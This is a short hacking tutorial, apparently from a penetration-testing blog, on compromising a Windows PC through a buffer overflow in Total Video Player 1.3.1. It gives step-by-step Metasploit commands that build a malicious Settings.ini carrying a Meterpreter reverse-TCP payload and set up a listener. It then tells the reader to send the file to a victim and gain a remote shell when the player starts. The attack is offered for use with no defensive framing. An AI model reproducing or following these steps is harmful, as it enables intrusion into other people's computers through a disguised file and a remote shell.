Kali Linux, Penetration Testing

Hack Remote Windows PC using Total Video Player 1.3.1 Buffer Overflow

This Metasploit module exploits a buffer overflow in Total Video Player 1.3.1. The vulnerability occurs opening malformed Settings.ini file e.g.”C:\Program Files\Total Video Player\”. This Metasploit module has been tested successfully over Windows WinXp-Sp3-EN, Windows 7, and Windows 8.

Exploit Targets

Total Video Player 1.3.1

Windows XP

Windows 7

Windows 8


Attacker: kali Linux

Victim PC: Windows XP SP 3

Open Kali terminal type msfconsole

Now type use exploit/windows/fileformat/total_video_player_ini_bof

msf exploit (total_video_player_ini_bof)>set payload windows/meterpreter/reverse_tcp

msf exploit (total_video_player_ini_bof)>set lhost (IP of Local Host)

msf exploit (total_video_player_ini_bof)>exploit

After we successfully generate the malicious settings.ini File, it will stored on your local computer


Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost


Now send your settings.ini files to victim, as soon as they download and replace with settings.ini file in C:\Program Files\Total Video Player\”.  Now start video player now you can access meterpreter shell on victim computer